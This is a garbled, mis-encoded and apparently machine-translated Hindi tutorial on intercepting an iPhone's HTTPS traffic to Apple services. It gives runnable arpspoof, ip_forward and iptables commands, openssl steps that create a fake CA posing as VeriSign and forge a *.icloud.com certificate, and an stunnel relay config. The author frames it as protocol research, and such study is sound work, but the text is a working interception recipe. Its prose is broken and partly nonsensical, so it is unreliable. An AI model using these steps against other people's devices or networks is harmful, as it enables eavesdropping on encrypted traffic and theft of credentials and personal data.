рдиреАрдЪреЗ рдЙрд╕ рддрдХрдиреАрдХ рдХрд╛ рд╡рд░реНрдгрди рд╣реИ рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдЖрдк рдЙрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдХреЗ рджреНрд╡рд╛рд░рд╛ iOS Apple рд╕реЗрд╡рд╛рдУрдВ (AppStore, iCloud, рдЖрджрд┐) рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдФрд░ рдЗрд╕ рд╕рд╡рд╛рд▓ рдХреЗ рд╡реНрдпрд╛рдкрдХ рдЙрддреНрддрд░ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ Apple рдЖрдкрдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдХреМрди рд╕рд╛ рдбреЗрдЯрд╛ рд▓реЗрддрд╛ рд╣реИред
рд╣рдорд▓рд╛ рдХрдИ рдЪрд░рдгреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
рд╕реНрдЯреИрдВрдб рдХреА 1 рд╡рд┐рдзрд╛рдирд╕рднрд╛ред
2 рдпрд╛рддрд╛рдпрд╛рдд рдкреНрд░рдмрдВрдзрдиред
3 рд╕реНрд╡-рдирд┐рд░реНрдорд┐рдд рд╕реАрдП рдХреА рдкреАрдврд╝реА рдФрд░ рд╕реНрдерд╛рдкрдирд╛ред
4 Apple рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдирдХрд▓реА рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдмрдирд╛рдПрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реНрд╡-рдШреЛрд╖рд┐рдд рд╕реАрдП рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрди рдХрд░реЗрдВред
5 рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдорд╛рдг рдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ MITM рд╣рдорд▓реЗ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдирд╛
1. рд╕реНрдЯреИрдВрдб рдХреА рд╡рд┐рдзрд╛рдирд╕рднрд╛
рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдФрд░ рдРрдкреНрдкрд▓ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд╕рдорд╛рди L2 (802.11) рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдПрдХ L3 рд╕рдмрдиреЗрдЯ рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП 192.168.1.0/24ред рд╕рдмрдиреЗрдЯ рдХреЗ рд▓рд┐рдП, рдЗрдВрдЯрд░рдиреЗрдЯ рд░реВрдЯрд┐рдВрдЧ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╣рдорд▓рд╛рд╡рд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд▓рд┐рдирдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред
2. рдпрд╛рддрд╛рдпрд╛рдд рдкреНрд░рдмрдВрдзрди
рд╣рдорд▓рд╛рд╡рд░, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдирд┐рд░реНрдорд┐рдд ARP рдкреИрдХреЗрдЯреНрд╕ рдХреЛ рдмрдирд╛рддреЗ рд╣реБрдП, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЬрд┐рд╕ рдЙрдкрдХрд░рдг рдкрд░ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдЙрд╕ рдкрд░ рдЙрд╕рдХрд╛ рдореИрдХ рдкрддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдЧреЗрдЯрд╡реЗ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реЛ рдФрд░ рдЧреЗрдЯрд╡реЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░, рдЙрд╕реА рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ, рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛред рдирддреАрдЬрддрди, рдЧреЗрдЯрд╡реЗ рдФрд░ рд╣рдорд▓рд╛ рдХрд┐рдП рдЧрдП рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдмреАрдЪ рджреЛрдиреЛрдВ рджрд┐рд╢рд╛рдУрдВ рдореЗрдВ рд╕рднреА рдЯреНрд░реИрдлрд╝рд┐рдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдЧреБрдЬрд░рддреЗ рд╣реИрдВ (рдЗрд╕ рд░рд╛рдЬреНрдп рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ 100500 рддрд░реАрдХреЗ рд╣реИрдВ, arpspoof рд╢рд╛рдпрдж рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рд╣реИ рдЕрдЧрд░ рдЧреЗрдЯрд╡реЗ рдкрд░ рдХреЛрдИ рдирд┐рдпрдВрддреНрд░рдг рдирд╣реАрдВ рд╣реИ)ред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдкреИрдХреЗрдЯ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдпрд╣ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
sysctl -w net.ipv4.ip_forward=1
#
echo 1 > /proc/sys/net/ipv4/ip_forward
Spoofing рдкреБрд░рд╛рдиреЗ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп arpspoof рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ:
#192.168.1.101 - iphone
#192.168.1.101 -
arpspoof -i wlan0 -t 192.168.1.101 192.168.1.1
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.101
#
рдЖрдк рдЕрдЯреИрдХ рдХрд┐рдП рдЧрдП рдЖрдИрдкреА рдХреЗ рд▓рд┐рдП рдлрд┐рд▓реНрдЯрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рд╡реЗрд░реНрд╢рдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЕрд╡рд░реЛрдзрди рдХреА рд╕рдлрд▓рддрд╛ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдХреНрдпреЛрдВрдХрд┐ рд╡рд╛рдпрд░реНрдбрд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди рд╡реЙрдпрд░рд╕рд░реНрдХ рдПрдХ рдкреИрдХреЗрдЯ рдХреЛ рджреЛ рдмрд╛рд░ рджреЗрдЦреЗрдЧрд╛, рдпрд╣ рдЙрдиреНрд╣реЗрдВ рдбрд░рд╛рд╡рдиреЗ рд░рдВрдЧ рдХреЗ рд╕рд╛рде рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рд░рд┐рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯреНрд╕ рдкрд░ рд╢рдкрде рджреЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)

3. рд╕реНрд╡-рдирд┐рд░реНрдорд┐рдд рд╕реАрдП рдХреА рдкреАрдврд╝реА
рдпрд╣рд╛рдВ рдПрдХ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд╡рд┐рд╖рдпрд╛рдВрддрд░ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╕рдорд╛рдзрд╛рди рд╕реНрдкрд╖реНрдЯ рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдореБрдЭреЗ рдкреНрд░рдпреЛрдЧ рдХрд░рдирд╛ рдерд╛ред IOS рдореЗрдВ рд╕рднреА рдирд┐рдпрдорд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ (рдкрд╛рд╕рд╡рд░реНрдб, рдореЗрд▓, рд╡рд╛рдИрдлрд╛рдИ рд╕реЗ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдЖрджрд┐) рд╕реБрд░рдХреНрд╖рд╛ рдбреЗрдореЙрди рд╕реЗ рдЧреБрдЬрд░рддреА рд╣реИрдВ, рдЬреЛ рд╣рд░ рдмрд╛рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЧреБрдЬрд░рдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реЛрддреА рд╣реИред рд╕рднреА рдбреЗрдЯрд╛ (рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░рд╣рд╕реНрдп, рдЗрддреНрдпрд╛рджрд┐) рдЬреЛ рдбреЗрдореЙрди рдЙрдкрдпреЛрдЧ рд╕рд╛рдЗрдХреНрд▓рд╛рдЗрдЯ рдбреЗрдЯрд╛рдмреЗрд╕ (рдХреАрдЪреЗрди-2. рдбреАрдмреА) рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВ, рдЬреЛ рдкреБрд░рд╛рдиреЗ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдореЗрд░реЗ рдЧрдВрджреЗ рдЖрдИрдкреИрдб рдкрд░ рд╕реНрдерд┐рдд рд╣реИ:
iPad:/private/var/Keychains root# uname -a
Darwin iPad 10.4.0 Darwin Kernel Version 10.4.0: Wed Oct 20 20:14:45 PDT 2010; root:xnu-1504.58.28~3/RELEASE_ARM_S5L8930X iPad1,1 arm K48AP Darwin
iPad:/private/var/Keychains root# pwd
/private/var/Keychains
iPad:/private/var/Keychains root# ls -liahs keychain-2.db
147473 112K -rw------- 1 _securityd wheel 112K Dec 19 00:11 keychain-2.db
( , )
, , .
рдЪреВрдВрдХрд┐ рдЖрдИрдлрд╝реЛрди рдХреЛ рдЖрдИрдХреНрд▓рд╛рдЙрдб рдпрд╛ рдРрдкрд╕реНрдЯреЛрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп, рд╕рд░реНрд╡рд░ рдПрдХ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдкрд╣рд▓реЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдерд╛ рдХрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдлрд▓ рдХреНрдпреЛрдВ рдерд╛, рднрд▓реЗ рд╣реА рд╕реНрдЯреЛрд░реЗрдЬ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдпрд╛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛред рдЖрдЧреЗ рдХреЗ рдЕрдзреНрдпрдпрдиреЛрдВ рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдХреБрдЫ CAs, рдЬрд┐рдирдореЗрдВ VeriSign CA (рдЬреЛ Appple рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реИрдВ) рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдХреЛ рд╕реАрдзреЗ рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╡рд╛рдпрд░реНрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд╣рд╛рдБ рд╕реЗ, рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░, рдЙрдиреНрд╣реЗрдВ Apporeore рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд▓рд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
IPhone рдкрд░ рдореВрд▓ CA рдЙрдкрдХрд░рдг рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреЗ CA рдХреЛ iPhone рдкрд░ рдЬреЛрдбрд╝ рд╕рдХреЗ, рдЬреЛ рдХрд┐, рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░, рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдВрдХрд┐, рддрдВрддреНрд░ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рднреА рд╣рдореЗрдВ iPhone рдкрд░ рд╣рдорд╛рд░реЗ "рд╕реНрд╡-рдШреЛрд╖рд┐рдд" рд╕реАрдП рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ * .itunes.apple.com рдФрд░ * .icloud.com рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЧрдП рдирдХрд▓реА рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдХреНрдпреЛрдВ Apple рдпрд╣ рдПрдХ рдЕрд▓рдЧ рдореБрджреНрджрд╛ рд╣реИ)ред )ред рдХреНрдпрд╛ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╣реИ, рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рдпрдорд┐рдд рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЬреЗрд▓рдмреНрд░реЗрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред
рдореИрдВрдиреЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╕реАрдП рдмрдирд╛рдпрд╛:
[20:36:02 dev@sandbox:~/CA]$openssl req -new -x509 -days 3650 -extensions v3_ca -keyout private/cakey.pem -out cacert.pem
Generating a 1024 bit RSA private key
.........................................................................++++++
.........................................++++++
writing new private key to 'private/cakey.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:VeriSign
Locality Name (eg, city) []:VeriSign Trust Network
Organization Name (eg, company) [Internet Widgits Pty Ltd]:VeriSign Inc
Organizational Unit Name (eg, section) []:Terms of use at www.verisign.com/rpa (c)09
Common Name (eg, YOUR name) []:VeriSign Class 3 Secure Server CA - G2
Email Address []:
рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк cacert.pem рдХреЛ рдореЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд▓рдЧреНрдирдХ рдХреЗ рд░реВрдк рдореЗрдВ, iPhone рдкрд░ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдерд╛рдкрдирд╛ рд╕реАрдзреЗ рдкрддреНрд░ рд╕реЗ рд╕рдВрднрд╡ рд╣реИред
4. Apple рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдлрд░реНрдЬреА рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдПрдВ
рдЗрд╕реЗ 2 рдЪрд░рдгреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: рдкрд╣рд▓реЗ рд╣рдо рдПрдХ рдЕрдиреБрд░реЛрдз рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рдЗрд╕реЗ рдЕрдкрдиреЗ рд╕реАрдП рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
[21:10:52 dev@sandbox:~/CA]$openssl req -new -nodes -out my_icloud_apple_req.pem -keyout my_icloud_apple_key.pem
Generating a 1024 bit RSA private key
......++++++
.++++++
writing new private key to 'my_icloud_apple_key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:california
Locality Name (eg, city) []:cupertino
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Apple Inc
Organizational Unit Name (eg, section) []:iTMS
Common Name (eg, YOUR name) []:*.icloud.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[22:42:33 dev@sandbox:~/CA]$openssl x509 -req -days 365 -in my_icloud_apple_req.pem -CA cacert.pem -CAkey private/cakey.pem -set_serial 01 -out my_icloud_apple_cert.pem
Signature ok
subject=/C=US/ST=california/L=cupertino/O=Apple Inc/OU=iTMS/CN=*.icloud.com
Getting CA Private Key
Enter pass phrase for private/cakey.pem:
[22:44:20 dev@sandbox:~/CA]$
# appstore
5. рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдорд╛рдг рдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ MITM рд╣рдорд▓реЗ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдирд╛
рдЬрдм рд╣рдордиреЗ рдЕрдкрдиреЗ рдЖрдк рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдФрд░ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХреЗ рд╕рд╛рде рд╡рд░реНрдгрд┐рдд рд╕рдм рдХреБрдЫ рдХрд┐рдпрд╛, рддреЛ рд╣рдореЗрдВ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдмреНрдпрд╛рдЬ рдХреА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд░реЛрдХрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдорд╛рд░реЗ рдбрд┐рдЬрд╛рдЗрди рд╕реЗ рдкрд╛рд░рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЖрдк рдЗрд╕реЗ рдЧреВрдВрдЧреЗ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рддрд░реАрдХреЗ рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: рдкреЛрд░реНрдЯ 443 рдкрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд░реЛрдХрдирд╛:
iptables -A FORWARD -j ACCEPT
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8443
рдЗрд╕рд▓рд┐рдП рдЖрдИрдлреЛрди рдХреЗ рд╕рд╛рде 443 рдкрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рди рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдЗрдХрд╛рдИ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ рдЬреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдкреЛрд░реНрдЯ 8443 рдкрд░ рд╕реБрдиреЗрдВрдЧреЗред рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдиреНрдпрд╛рд╕ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдЯрдирд▓рд╛рдЗрди рдерд╛:
; PID is created inside the chroot jail
pid = /stunnel.pid
; Debugging stuff (may useful for troubleshooting)
debug = 7
output = /var/log/stunnel.log
;
cert = /home/dev/CA/my_icloud_apple_cert.pem
key = /home/dev/CA/my_icloud_apple_key.pem
; Disable support for insecure SSLv2 protocol
options = NO_SSLv2
; https 8443 9000
[https_s]
accept = 0.0.0.0:8443
connect = 0.0.0.0:9000
; 9500 , https icloud
[https_c]
client = yes
accept = 0.0.0.0:9500
connect = 17.172.208.53:443
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рд░реНрдХрд┐рдЯ рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ 9000> 9500 рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░реЙрдХреНрд╕реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЧреБрдЬрд░ рдЬрд╛рдПрдЧрд╛, рдореИрдВ рдЗрд╕рдХреЗ рд▓рд┐рдП
Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ:

рдпрд╣реА рд╣реИ, рдЕрдм рдЖрдк Apple рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ, рдпрд╣ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рддреНрд╡ рдХреЗ рдХреМрди рд╕реЗ рд░рд╣рд╕реНрдп рд╕реАрдзреЗ рдХреНрдпреВрдкрд░реНрдЯрд┐рдиреЛ = рдХреЗ рдЕрдВрдзреЗрд░реЗ рддрд╣рдЦрд╛рдиреЛрдВ рдореЗрдВ рдЙрдбрд╝рддреЗ рд╣реИрдВ)